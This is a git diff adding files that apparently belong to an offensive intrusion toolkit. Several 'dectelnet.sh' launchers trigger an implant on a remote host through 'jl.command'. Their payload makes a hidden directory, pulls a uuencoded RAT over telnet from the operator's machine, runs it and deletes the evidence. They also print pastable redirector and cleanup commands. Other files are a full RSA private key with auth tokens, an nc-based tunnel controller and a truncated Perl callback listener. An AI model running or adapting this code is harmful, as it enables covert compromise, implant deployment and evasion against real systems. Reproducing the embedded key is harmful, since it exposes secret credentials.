LOCALIP 32177 /usr pmgrd 10402 .advtags 33433 nosy + e.g. $PROG alice LOCALIP 32177 /usr pmgrd 10402 .advtags + e.g. $PROG alice LOCALIP 32177 /usr pmgrd 10402 + e.g. $PROG alice LOCALIP 32177 /usr pmgrd + +NOTE: You may now pre-set any/all of the following environment + variables if using jackpop with $PROG (RA & RP required). + +For jl.command +locally: RA=redirector-address RP=redirector-port + +For jackpop on LP=same-as-RP SA=your-source-IP +redirector: TA=target-address TP=target-JL-port + + If you do not set LP and/or SA, they will be determined + by the parameter and ifconfig. You will be prompted + for TA and TP if they are not already set. +" + exit +} + +case "${#}" in + 0|1|2|3|4) + usage + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +LOCALPORT=$3 +BASEDIR=$4 +RAT_FILE=$5 +JLPORT=$6 +WORKSUBDIR=$7 +RAT_PORT=$8 +RAT_NAME=$9 + +[ "$RAT_NAME" ] || RAT_NAME=nopen + +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi + +if [ "$JLPORT" = "" ]; then + JLPORT=$DEFJLPORT +fi +if [ "$WORKSUBDIR" = "" ]; then + WORKSUBDIR=.advtags +fi +if [ "$RAT_PORT" != "" ]; then + if [ $RAT_PORT -lt 1025 -o $RAT_PORT -gt 65535 ]; then + echo rat_port must be between 1025 and 65535, inclusive + echo "" + usage + fi + if [ "$RAT_NAME" = "nosy" ]; then + RAT_ARG="P=$RAT_PORT " + else + if [ "$RAT_NAME" = "nopen" ]; then + RAT_ARG="D=\"-l $RAT_PORT\" " + if [ ! "`../bin/noclient | grep '2\.5'`" = "" ] ; then + RAT_ARG="D=\"-l $RAT_PORT\" " + fi + else + echo rat_name $RAT_NAME is not nosy or nopen + echo "" + usage + fi + fi +else + RAT_ARG="" +fi + +JACKPOP=0 + +if [ ! "$RA" = "" ] || [ ! "$RP" = "" ] ; then + JACKPOP=1 + if [ "$RA" = "" ] || [ "$RP" = "" ] ; then + echo "FATAL ERROR: Must have BOTH environment variables RA and RP set." + exit 1 + fi + if [ ! "$RP" = "$JLPORT" ] ; then + echo "Shouldn't RP=JLPORT? +(you have RP=$RP and JLPORT=$JLPORT)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$RA" = "$REMOTEIP" ] || [ ! "$RA" = "$LOCALIP" ] ; then + echo "Shouldn't RA=LOCALIP=REMOTEIP? (you have + RA=$RA, LOCALIP=$LOCALIP + and REMOTEIP=$REMOTEIP)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$TA" ] ; then + DEFTARGETIP=`egrep "^Target IP:" /current/etc/opscript.txt | awk '{print $3}' | head -1` + echo $MINUSN " +Enter the IP of your actual target you are redirecting +through $REMOTEIP to get to (this is used here to echo +a jackpop command to paste into your redirector): [$DEFTARGETIP]" + read TA + [ "$TA" ] || TA=$DEFTARGETIP + fi + echo "" + if [ ! "$TP" ] ; then + echo $MINUSN " +Enter the actual target's JL trigger port (this is used here +to echo a jackpop command to paste into your redirector): [$DEFJLPORT] " + read TP + [ "$TP" ] || TP=$DEFJLPORT + fi + if [ ! "$LP" ] ; then + LP=$RP + fi + + LOCAL_IP_GUESS=`ifconfig ppp0 2>/dev/null | grep inet | grep -v grep | grep -v ":127\." | awk '{print $2}' | cut -d ":" -f 2` + # if that fails maybe it's on eth0 + [ "$LOCAL_IP_GUESS" ] || LOCAL_IP_GUESS=`ifconfig -a eth0 | grep inet | grep -v grep | awk '{print $2}' | cut -d ":" -f 2` + [ "$LOCAL_IP_GUESS" ] || echo "Unable to get local IP address..bailing" + [ "$LOCAL_IP_GUESS" ] || exit 1 + + if [ "$SA" ] ; then + if [ ! "$SA" = "$LOCAL_IP_GUESS" ] ; then + echo "Shouldn't SA=LOCAL_IP_GUESS? (you have +SA=$SA and the local IP appears to be +$LOCAL_IP_GUESS." + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + + fi + else + SA=$LOCAL_IP_GUESS + fi +fi + +echo " +CommandLine: $PROG ${*}" + +REALCMD="N=/dev/null +D=$BASEDIR/.advtags +PATH=\$D:/bin:/usr/bin +touch -r $BASEDIR /tmp/.advt +mkdir \$D +cd \$D +(telnet $LOCALIP $LOCALPORT < /dev/console 2> /dev/null) | cat > $RAT_FILE.uu +uudecode $RAT_FILE.uu +uncompress -f $RAT_FILE.Z >\$N 2>&1 && chmod +x $RAT_FILE +${RAT_ARG}${RAT_FILE} +rm -f \$D/$RAT_FILE \$D/$RAT_FILE.uu +exit 0" + +export REALCMD + +echo "" +echo "" +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo "" +echo "New order of arguments is: " +echo "$PROG $SYNTAX" +echo "" + +echo "REALCMD=\"$REALCMD\"" +echo "" +echo "Command about to be executed:" +echo " ./jl.command telnet $REMOTEIP $JLPORT" +echo "" + +if [ "$JACKPOP" = 1 ] ; then + echo " +Using jackpop with environment variables as follows: + Redirector Address RA=$RA + Redirector Port RP=$RP + Target Address TA=$TA + Target Port TP=$TP + Listening Port on RA LP=$LP + Source Address SA=$SA + +Now, some pastables. First, the jackpop command you need to run in an +INCISION window on $RA, then the -rtun command in a NOPEN window +on the same box, and finally an rm command to wipe jackpop: " +$SETCOLOR_NOTE + echo " + chmod 700 jp&&netstat -an|grep $LP||PATH=. SA=$SA TA=$TA TP=$TP LP=$LP jp + + rm jp ; ls -al ; ls -al jp + + -rtun $LOCALPORT +" + $SETCOLOR_NORMAL +fi +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo $MINUSN "hit enter to proceed, ^C to not: " + +read junk + +#now run jackladder + +./jl.command telnet $REMOTEIP $JLPORT diff --git a/Linux/bin/dectelnet.sh.old1 b/Linux/bin/dectelnet.sh.old1 new file mode 100755 index 0000000..1d3dc82 --- /dev/null +++ b/Linux/bin/dectelnet.sh.old1 @@ -0,0 +1,227 @@ +#!/bin/sh +SYNTAX=" \\ + [] [] [ [nosy] ]" +DEFJLPORT=13 +PROG=`basename ${0}` +usage () { + echo " +Usage: [RA=redirector-address RP=redirector-port] $PROG \\ + $SYNTAX + * RA and RP required if redirecting JL with jackpop + * jl is assumed to be in ./jl + * jl_port defaults to $DEFJLPORT (arg required if next arg is used) + * rat_port optional - default used if not given. BUT--if rat_port is + given and nopen is not being used, the final argument must be + nosy to send the older syntax up. + + e.g. $PROG alice LOCALIP 32177 /usr pmgrd 10402 .advtags 33433 + e.g. $PROG alice LOCALIP 32177 /usr pmgrd 10402 .advtags 33433 nosy + e.g. $PROG alice LOCALIP 32177 /usr pmgrd 10402 .advtags + e.g. $PROG alice LOCALIP 32177 /usr pmgrd 10402 + e.g. $PROG alice LOCALIP 32177 /usr pmgrd + +NOTE: You may now pre-set any/all of the following environment + variables if using jackpop with $PROG (RA & RP required). + +For jl.command +locally: RA=redirector-address RP=redirector-port + +For jackpop on LP=same-as-RP SA=your-source-IP +redirector: TA=target-address TP=target-JL-port + + If you do not set LP and/or SA, they will be determined + by the parameter and ifconfig. You will be prompted + for TA and TP if they are not already set. +" + exit +} + +case "${#}" in + 0|1|2|3|4) + usage + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +LOCALPORT=$3 +BASEDIR=$4 +RAT_FILE=$5 +JLPORT=$6 +WORKSUBDIR=$7 +RAT_PORT=$8 +RAT_NAME=$9 + +[ "$RAT_NAME" ] || RAT_NAME=nopen + +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi + +if [ "$JLPORT" = "" ]; then + JLPORT=$DEFJLPORT +fi +if [ "$WORKSUBDIR" = "" ]; then + WORKSUBDIR=.advtags +fi +if [ "$RAT_PORT" != "" ]; then + if [ "$RAT_NAME" = "" ]; then + echo You must supply rat_name with rat_port + echo "" + usage + fi + if [ $RAT_PORT -lt 1025 -o $RAT_PORT -gt 65535 ]; then + echo rat_port must be between 1025 and 65535, inclusive + echo "" + usage + fi + if [ "$RAT_NAME" = "nosy" ]; then + RAT_ARG="P=$RAT_PORT " + else + if [ "$RAT_NAME" = "nopen" ]; then + RAT_ARG="C=\"-l $RAT_PORT\" " + else + echo rat_name $RAT_NAME is not nosy or nopen + echo "" + usage + fi + fi +else + RAT_ARG="" +fi + +if [ ! "$RA" = "" ] || [ ! "$RP" = "" ] ; then + JACKPOP=1 + echo " +Using jackpop. Environment variables: + RA=\"$RA\" + RP=\"$RP\"" + if [ "$RA" = "" ] || [ "$RP" = "" ] ; then + echo "FATAL ERROR: Must have BOTH environment variables RA and RP set." + exit 1 + fi + if [ ! "$RP" = "$JLPORT" ] ; then + echo "Shouldn't RP=JLPORT? +(you have RP=$RP and JLPORT=$JLPORT)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$RA" = "$REMOTEIP" ] || [ ! "$RA" = "$LOCALIP" ] ; then + echo "Shouldn't RA=LOCALIP=REMOTEIP? (you have + RA=$RA, LOCALIP=$LOCALIP + and REMOTEIP=$REMOTEIP)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + echo "" + if [ "$TA" ] ; then + echo "Using TA=$TA as the actual target you are +redirecting through $REMOTEIP to get to." + else + echo $MINUSN "Enter the IP of your actual target you are +redirecting through $REMOTEIP to get to: " + read TA + fi + echo "" + if [ "$TP" ] ; then + echo "Using TP=$TP as the actual target's JL trigger port." + else + echo $MINUSN "Enter actual target's JL trigger port: [$DEFJLPORT] " + read TP + [ "$TP" ] || TP=$DEFJLPORT + fi + echo "" + if [ ! "$LP" ] ; then + echo "Using LP=$RP as the listening port on redirector $REMOTEIP." + LP=$RP + fi + + LOCAL_IP_GUESS=`ifconfig ppp0 2>/dev/null | grep inet | grep -v grep | grep -v ":127\." | awk '{print $2}' | cut -d ":" -f 2` + # if that fails maybe it's on eth* + [ "$LOCAL_IP_GUESS" ] || LOCAL_IP_GUESS=`ifconfig -a | grep inet | grep -v grep | grep -v ":127\." | awk '{print $2}' | cut -d ":" -f 2` + [ "$LOCAL_IP_GUESS" ] || echo "Unable to get local IP address..bailing" + [ "$LOCAL_IP_GUESS" ] || exit 1 + + if [ "$SA" ] ; then + if [ ! "$SA" = "$LOCAL_IP_GUESS" ] ; then + echo "Shouldn't SA=LOCAL_IP_GUESS? (you have +SA=$SA and the local IP appears to be +$LOCAL_IP_GUESS." + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + + fi + else + SA=$LOCAL_IP_GUESS + fi +fi + +echo " +CommandLine: $PROG ${*}" + + +echo "ATTACKING: Remoteip $REMOTEIP" +echo "Localip=$LOCALIP Localport=$LOCALPORT Basedir=$BASEDIR" +echo "Worksubdir=$WORKSUBDIR" +echo "JLPort=$JLPORT" + +#1 on line below is for F version. Use 2 for D version. Use 3 for E, 4 for OSF1 5.0 +REALCMD="N=/dev/null +D=$BASEDIR/.advtags +PATH=\$D:/bin:/usr/bin +touch -r $BASEDIR /tmp/.advt +mkdir \$D +cd \$D +(telnet $LOCALIP $LOCALPORT < /dev/console 2> /dev/null) | cat > $RAT_FILE.uu +uudecode $RAT_FILE.uu +uncompress -f $RAT_FILE.Z >\$N 2>&1 && chmod +x $RAT_FILE +${RAT_ARG}${RAT_FILE} +rm -f \$D/$RAT_FILE \$D/$RAT_FILE.uu +exit 0" + +export REALCMD + +echo "" +echo "" +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo "" +echo "New order of arguments is: " +echo "$PROG $SYNTAX" +echo "" + +echo "REALCMD=\"$REALCMD\"" +echo "" +echo "Command about to be executed:" +echo " ./jl.command telnet $REMOTEIP $JLPORT" +echo "" + +if [ $JACKPOP = 1 ] ; then + echo " +Here's the jackpop command you need to run on your redirector: + + chmod 700 jp && PATH=. SA=$SA TA=$TA TP=$TP LP=$LP jp + +### and don't forget to delete jackpop with one of: + + -rm jp + rm jp + +Once you have jackpop running on $REMOTEIP," + +fi +echo $MINUSN "hit enter to proceed, ^C to not: " + +read junk + +#now run jackladder + +jl.command telnet $REMOTEIP $JLPORT diff --git a/Linux/bin/dectelnet.sh.old2 b/Linux/bin/dectelnet.sh.old2 new file mode 100755 index 0000000..77b71cb --- /dev/null +++ b/Linux/bin/dectelnet.sh.old2 @@ -0,0 +1,228 @@ +#!/bin/sh +COLOR_NORMAL="\\033[0;39m" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +COLOR_NOTE="\\033[0;34m" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SYNTAX=" \\ + [] [] [ [nosy] ]" +DEFJLPORT=13 +PROG=`basename ${0}` +usage () { + echo " +Usage: [RA=redirector-address RP=redirector-port] $PROG \\ + $SYNTAX + * RA and RP required if redirecting JL with jackpop + * jl is assumed to be in ./jl + * jl_port defaults to $DEFJLPORT (arg required if next arg is used) + * rat_port optional - default used if not given. BUT--if rat_port is + given and nopen is not being used, the final argument must be + nosy to send the older syntax up. + + e.g. $PROG alice LOCALIP 32177 /usr pmgrd 10402 .advtags 33433 + e.g. $PROG alice LOCALIP 32177 /usr pmgrd 10402 .advtags 33433 nosy + e.g. $PROG alice LOCALIP 32177 /usr pmgrd 10402 .advtags + e.g. $PROG alice LOCALIP 32177 /usr pmgrd 10402 + e.g. $PROG alice LOCALIP 32177 /usr pmgrd + +NOTE: You may now pre-set any/all of the following environment + variables if using jackpop with $PROG (RA & RP required). + +For jl.command +locally: RA=redirector-address RP=redirector-port + +For jackpop on LP=same-as-RP SA=your-source-IP +redirector: TA=target-address TP=target-JL-port + + If you do not set LP and/or SA, they will be determined + by the parameter and ifconfig. You will be prompted + for TA and TP if they are not already set. +" + exit +} + +case "${#}" in + 0|1|2|3|4) + usage + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +LOCALPORT=$3 +BASEDIR=$4 +RAT_FILE=$5 +JLPORT=$6 +WORKSUBDIR=$7 +RAT_PORT=$8 +RAT_NAME=$9 + +[ "$RAT_NAME" ] || RAT_NAME=nopen + +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi + +if [ "$JLPORT" = "" ]; then + JLPORT=$DEFJLPORT +fi +if [ "$WORKSUBDIR" = "" ]; then + WORKSUBDIR=.advtags +fi +if [ "$RAT_PORT" != "" ]; then + if [ $RAT_PORT -lt 1025 -o $RAT_PORT -gt 65535 ]; then + echo rat_port must be between 1025 and 65535, inclusive + echo "" + usage + fi + if [ "$RAT_NAME" = "nosy" ]; then + RAT_ARG="P=$RAT_PORT " + else + if [ "$RAT_NAME" = "nopen" ]; then + RAT_ARG="C=\"-l $RAT_PORT\" " + if [ ! "`../bin/noclient | grep '2\.5'`" = "" ] ; then + RAT_ARG="C=\"-l $RAT_PORT\" " + fi + else + echo rat_name $RAT_NAME is not nosy or nopen + echo "" + usage + fi + fi +else + RAT_ARG="" +fi + +JACKPOP=0 + +if [ ! "$RA" = "" ] || [ ! "$RP" = "" ] ; then + JACKPOP=1 + if [ "$RA" = "" ] || [ "$RP" = "" ] ; then + echo "FATAL ERROR: Must have BOTH environment variables RA and RP set." + exit 1 + fi + if [ ! "$RP" = "$JLPORT" ] ; then + echo "Shouldn't RP=JLPORT? +(you have RP=$RP and JLPORT=$JLPORT)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$RA" = "$REMOTEIP" ] || [ ! "$RA" = "$LOCALIP" ] ; then + echo "Shouldn't RA=LOCALIP=REMOTEIP? (you have + RA=$RA, LOCALIP=$LOCALIP + and REMOTEIP=$REMOTEIP)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$TA" ] ; then + DEFTARGETIP=`egrep "^Target IP:" /current/etc/opscript.txt | awk '{print $3}' | head -1` + echo $MINUSN " +Enter the IP of your actual target you are redirecting +through $REMOTEIP to get to (this is used here to echo +a jackpop command to paste into your redirector): [$DEFTARGETIP]" + read TA + [ "$TA" ] || TA=$DEFTARGETIP + fi + echo "" + if [ ! "$TP" ] ; then + echo $MINUSN " +Enter the actual target's JL trigger port (this is used here +to echo a jackpop command to paste into your redirector): [$DEFJLPORT] " + read TP + [ "$TP" ] || TP=$DEFJLPORT + fi + if [ ! "$LP" ] ; then + LP=$RP + fi + + LOCAL_IP_GUESS=`ifconfig ppp0 2>/dev/null | grep inet | grep -v grep | grep -v ":127\." | awk '{print $2}' | cut -d ":" -f 2` + # if that fails maybe it's on eth0 + [ "$LOCAL_IP_GUESS" ] || LOCAL_IP_GUESS=`ifconfig -a eth0 | grep inet | grep -v grep | awk '{print $2}' | cut -d ":" -f 2` + [ "$LOCAL_IP_GUESS" ] || echo "Unable to get local IP address..bailing" + [ "$LOCAL_IP_GUESS" ] || exit 1 + + if [ "$SA" ] ; then + if [ ! "$SA" = "$LOCAL_IP_GUESS" ] ; then + echo "Shouldn't SA=LOCAL_IP_GUESS? (you have +SA=$SA and the local IP appears to be +$LOCAL_IP_GUESS." + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + + fi + else + SA=$LOCAL_IP_GUESS + fi +fi + +echo " +CommandLine: $PROG ${*}" + +REALCMD="N=/dev/null +D=$BASEDIR/.advtags +PATH=\$D:/bin:/usr/bin +touch -r $BASEDIR /tmp/.advt +mkdir \$D +cd \$D +(telnet $LOCALIP $LOCALPORT < /dev/console 2> /dev/null) | cat > $RAT_FILE.uu +uudecode $RAT_FILE.uu +uncompress -f $RAT_FILE.Z >\$N 2>&1 && chmod +x $RAT_FILE +${RAT_ARG}${RAT_FILE} +rm -f \$D/$RAT_FILE \$D/$RAT_FILE.uu +exit 0" + +export REALCMD + +echo "" +echo "" +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo "" +echo "New order of arguments is: " +echo "$PROG $SYNTAX" +echo "" + +echo "REALCMD=\"$REALCMD\"" +echo "" +echo "Command about to be executed:" +echo " ./jl.command telnet $REMOTEIP $JLPORT" +echo "" + +if [ "$JACKPOP" = 1 ] ; then + echo " +Using jackpop with environment variables as follows: + Redirector Address RA=$RA + Redirector Port RP=$RP + Target Address TA=$TA + Target Port TP=$TP + Listening Port on RA LP=$LP + Source Address SA=$SA + +Now, some pastables. First, the jackpop command you need to run in an +INCISION window on $RA, then the -rtun command in a NOPEN window +on the same box, and finally an rm command to wipe jackpop: " +$SETCOLOR_NOTE + echo " + chmod 700 jp&&netstat -an|grep $LP||PATH=. SA=$SA TA=$TA TP=$TP LP=$LP jp + + -rtun $LOCALPORT + + rm jp ; ls -al ; ls -al jp +" + $SETCOLOR_NORMAL +fi +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo $MINUSN "hit enter to proceed, ^C to not: " + +read junk + +#now run jackladder + +./jl.command telnet $REMOTEIP $JLPORT diff --git a/Linux/bin/default_key.txt b/Linux/bin/default_key.txt new file mode 100755 index 0000000..33d7b54 --- /dev/null +++ b/Linux/bin/default_key.txt @@ -0,0 +1,94 @@ +Private-Key: (2048 bit) +modulus: + 00:9c:de:4a:7b:cb:7c:48:9c:87:01:d2:77:46:fa: + 5c:11:d5:9e:41:ce:62:48:16:87:58:db:3f:1a:85: + e1:a6:44:e7:c5:31:76:f9:83:36:78:95:74:24:5b: + 0d:c5:0b:98:c4:dd:91:27:2f:6c:33:16:ba:de:b0: + 50:81:e6:78:c5:32:48:dc:b0:36:af:12:f9:b6:7a: + ce:c5:a8:72:a7:a9:9c:41:d4:92:a1:6c:b4:41:77: + 84:a1:fd:f7:67:c3:2a:70:55:73:46:4c:50:a8:4a: + ad:dd:d1:30:dd:fd:9e:d0:5d:b3:5b:70:f5:d1:e2: + cd:af:83:1b:44:08:eb:00:df:f4:b4:7e:be:96:55: + e3:e7:a8:35:e4:fa:d5:f8:e3:78:1f:5a:63:a6:22: + df:3f:c3:96:cc:4a:b4:68:62:74:09:5a:fe:bf:58: + 9b:89:79:a1:27:79:79:6c:63:79:da:fb:52:1b:12: + 8f:85:5a:52:e4:4c:f0:57:c5:ba:25:c6:e8:7f:6b: + 8e:c2:92:b0:27:89:e5:49:fe:7a:9e:10:c0:4f:72: + 6f:8f:e5:ce:6f:43:6b:ad:c6:a8:4a:8b:f7:0d:7e: + 8e:88:fa:af:af:a4:45:a6:34:39:bd:86:33:a0:93: + 48:a2:d1:f0:e6:af:7d:d4:fb:66:51:49:5c:6f:a7: + fe:29 +publicExponent: 65537 (0x10001) +privateExponent: + 47:9f:8b:3c:98:bd:27:5e:28:9a:61:61:4a:8c:17: + 2b:a1:70:7f:b5:5e:d4:71:4c:dc:fa:46:06:b3:28: + 43:45:64:d9:79:6b:4c:23:67:e4:88:c0:9d:b4:e1: + 45:9d:b4:e3:f6:12:47:64:f4:af:22:ea:b1:b0:a9: + 21:96:7c:7f:f5:24:a5:76:e3:90:ee:46:0b:d6:68: + c0:80:d7:d0:cb:b5:67:ad:4a:41:e0:23:31:5d:03: + b6:ff:01:4e:64:22:e5:65:6e:9b:a3:4e:94:78:7c: + 88:31:f2:70:f9:52:e0:ea:57:71:21:d3:6b:40:76: + 0f:73:fa:28:07:36:5d:90:2c:e5:68:7f:5e:97:ee: + 8d:8d:fa:7f:42:f9:61:f0:38:35:fa:a8:ba:d3:17: + ec:e3:d4:da:80:b4:74:ff:19:67:a6:0a:1b:36:21: + 28:ef:8a:b3:7b:05:c9:90:3b:16:f9:54:09:c1:b2: + 15:58:3b:3b:d4:37:91:35:17:81:97:93:12:66:a5: + bf:1d:19:ef:6f:0c:2b:2f:bf:8e:65:c4:7f:58:4f: + 26:79:67:c2:2a:c8:5b:19:f5:92:24:76:ea:34:18: + 38:e8:0f:92:fe:2b:90:32:b4:2d:02:2d:d4:11:02: + b5:9e:cf:c7:73:ad:d8:ed:44:cd:fd:93:dd:43:2d: + 01 +prime1: + 00:ca:b4:f7:a5:7a:bf:ec:d5:fe:76:64:7e:c9:75: + 52:71:45:1b:3b:5b:c8:37:20:ef:aa:da:ca:31:21: + 1f:5b:b7:d1:61:bb:a5:31:4f:b4:df:17:d3:e8:d0: + 3e:6c:cd:28:62:ba:db:f5:ea:75:85:ed:0a:96:0b: + e2:88:19:af:9c:fb:2b:ea:2b:3a:a6:08:b0:27:73: + 9e:d7:4a:08:0d:e4:18:20:a1:11:62:bb:5b:0b:27: + b8:bf:d7:e1:72:f0:88:cd:60:ec:72:4c:de:e7:c7: + 4c:97:79:7f:bd:ea:04:90:76:71:4d:52:a9:de:89: + 12:2b:e1:b8:d3:79:70:10:49 +prime2: + 00:c6:1c:31:71:c3:f5:bd:87:ce:9e:f4:9c:2d:53: + 00:63:c5:14:ff:d8:6e:f1:86:64:46:fc:65:8b:ff: + af:0a:cf:d5:e4:f8:8a:ef:ca:52:44:04:0c:51:f8: + bd:0e:4a:f2:ac:d2:d0:4e:46:7e:3c:1f:ce:b2:ea: + c5:4e:46:1a:8e:b3:96:62:3f:37:96:c1:a1:da:6d: + 5b:ab:a8:ec:e4:a5:81:36:ac:06:79:c9:d6:bf:a8: + d4:32:61:c2:b1:5d:6a:5c:08:6c:9e:1e:bb:a0:41: + b2:f4:aa:09:16:72:a5:9f:b5:57:df:fc:20:9c:94: + 4e:10:30:03:3a:7e:78:3e:e1 +exponent1: + 30:78:7b:6b:27:61:f3:48:ec:52:f5:0e:d8:2f:64: + aa:4f:23:06:db:98:91:8e:1f:a1:14:36:1a:ef:57: + a7:3f:da:22:6b:93:41:aa:54:8e:b0:0c:ec:f3:b6: + a9:9f:99:13:9a:a8:f4:31:bf:2e:6a:13:08:f4:08: + 94:10:c8:4c:5a:47:12:f4:89:4e:a0:6f:36:cf:cf: + e0:9d:04:36:06:1f:ba:d5:a8:e9:99:f1:58:46:84: + 47:e3:60:36:72:cb:d3:88:64:a1:a4:3d:fc:e0:4c: + 31:40:4d:4a:65:45:f8:21:4a:50:79:fe:c2:86:b6: + 40:a5:f5:e3:23:7b:a7:79 +exponent2: + 78:cf:ec:9f:32:1f:84:2b:73:a7:a0:08:35:e3:ae: + 13:29:b6:ba:a7:24:51:09:e1:d1:20:4e:54:e7:e1: + b9:38:31:7a:66:cf:63:98:00:3f:16:30:e5:34:49: + 26:94:32:15:8e:a2:15:7a:0b:b5:62:b8:4c:87:bb: + 37:16:ad:4f:64:d9:4a:a4:be:a3:a3:05:af:0c:8d: + a0:cb:6d:5b:aa:4a:78:2a:c3:f0:35:54:4e:a1:08: + 76:89:03:8f:e2:25:e0:66:0a:c7:0a:7a:e5:29:eb: + 96:24:b3:52:0b:2c:51:8e:e7:3d:e2:a5:88:97:30: + 5b:d2:cb:c5:3a:26:de:41 +coefficient: + 00:be:c8:57:62:ed:65:c8:11:a3:34:ed:2a:e0:45: + 80:9f:81:d2:02:c8:23:07:f6:30:95:ec:59:a8:82: + 55:2f:db:da:95:9a:bf:fb:0b:6e:93:17:c5:c9:ef: + f6:06:a8:91:34:dd:48:f9:8e:84:6f:53:91:16:f0: + e5:de:b1:40:71:77:c9:3c:71:3d:99:07:96:6b:06: + 11:a4:76:23:a1:2f:1f:42:34:2f:5b:52:2c:f7:40: + 86:f5:53:78:0a:4a:fa:8f:79:00:b6:27:6a:90:66: + d0:35:c6:c0:d2:7d:e8:32:ab:8b:52:58:1a:32:0b: + d4:93:c9:6f:1f:f6:89:ec:4f +clientAuth: + 8cf349bba8cf971b48e28d1a4f396f31 +serverAuth: + 394bbe9f3b75cb51a6d145d49ff76421 diff --git a/Linux/bin/deiconify b/Linux/bin/deiconify new file mode 100755 index 0000000..115523f Binary files /dev/null and b/Linux/bin/deiconify differ diff --git a/Linux/bin/df_client b/Linux/bin/df_client new file mode 100755 index 0000000..c1aeedd Binary files /dev/null and b/Linux/bin/df_client differ diff --git a/Linux/bin/didthis b/Linux/bin/didthis new file mode 100755 index 0000000..acbc92c --- /dev/null +++ b/Linux/bin/didthis @@ -0,0 +1,10 @@ +#!/bin/sh +echo -e "\n\n" +if [ ! "$1" ] ; then + LIST=`ls -rt1 /current/down/did* 2>/dev/null` + [ "$LIST" ] || exit + more $LIST | cat | sed "s/^::/+::/g" | sed "s/::$/::+/g" | tr "+" "\012" +else + cat /current/down/didthis 2>/dev/null +fi +echo -e "\n\n" diff --git a/Linux/bin/dotunnel b/Linux/bin/dotunnel new file mode 100755 index 0000000..9457930 --- /dev/null +++ b/Linux/bin/dotunnel @@ -0,0 +1,11 @@ +#!/bin/sh +LINE=${*} +[ "$PORT" ] || PORT=`cat /current/bin/.tunnelport` +[ "$PORT" ] || PORT=18787 +if [ "$LINE" ] ; then + echo echo "$LINE" '| nc -w1 -u 127.0.0.1' $PORT + echo "$LINE" | nc -w1 -u 127.0.0.1 $PORT +else + echo 'echo "s" | nc -w1 -u 127.0.0.1' $PORT + echo "s" | nc -w1 -u 127.0.0.1 $PORT +fi diff --git a/Linux/bin/doublet b/Linux/bin/doublet new file mode 100755 index 0000000..5dd01bb --- /dev/null +++ b/Linux/bin/doublet @@ -0,0 +1,358 @@ +#!/usr/bin/env perl +#use strict; +#TODO: $quiet aint working for some reason +#TODO: Test that other guy's box isn't hosed... +use IO::Socket ; + +my ($usagetext, $prog, $port, $port2, $kidpid, $server, $server2, + $client, $other_end, $other_iaddr, $other_ip, $other_port, $version, + $defaultcommands, $tmp); +$version = "1.6.0.2"; +$| = 1; # unbuffered output +myinit() ; + +if ($destIP) { + unless ($noescape) { + progprint("Pastables below have \\, \$, \" and \` (backtick) characters escaped."); + progprint("Use -e option to avoid escaping \\, \$, \" and \` (backtick)."); + } + if ($oneportmode) { + progprint("Use -t or -p for telnet or perl mode. Defaulting to one-port mode."); + } + print "\n\nChoose ONE remote command to connect to $prog from elsewhere: + +$samples + +NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It + gives the error 'ambiguous redirect'. If you see that, change to sh + or bash before you run this on the other host (or use csh if you must + but omit the three occurrences of 2>\&1 and any stderr from commands + will not be seen in the $prog window). + +" ; +} + +doperlmode() if ($oneportmode or $perlmode) ; # this won't return +# remainder is telnet/ksh mode +# split into two processes +print STDERR "When connection established, will send up these commands:\n$defaultcommands\n\n" unless $quiet; + +die "cannot fork: $! " unless (defined ($kidpid = fork())) ; + +if (! $kidpid) { # child + close (STDIN) ; # trying to fix + my ($line) ; # trying to fix + $server = IO::Socket::INET->new(LocalPort => $port2, + Type => SOCK_STREAM, + Reuse => 1, + Listen => 1 ) + or die "Cannot be a tcp server on port $port2 : $@\n"; + progprint("Waiting on $port2 for output",$COLOR_FAILURE,$COLOR_NOTE); + + + $client = $server->accept() ; + $other_end = getpeername($client) + or die "Could not identify other end: $!\n"; + ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end); + $other_ip = inet_ntoa($other_iaddr) ; + progprint("connect on $port2 for output from $other_ip:$other_port",$COLOR_FAILURE); + # parent accepts output from other end + while (defined ($line = <$client>) ) { + print STDOUT "$line" ; + } +} else { # parent + my ($line) ; # trying to fix + close (STDOUT) ; # trying to fix + $server2 = IO::Socket::INET->new(LocalPort => $port1, + Type => SOCK_STREAM, + Reuse => 1, + Listen => 1 ) + or die "Cannot be a tcp server on port $port1 : $@\n"; + progprint("Waiting on $port1 for input",$COLOR_FAILURE,$COLOR_NOTE); + + $client = $server2->accept() ; + $other_end = getpeername($client) + or die "Could not identify other end: $!\n"; + ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end); + $other_ip = 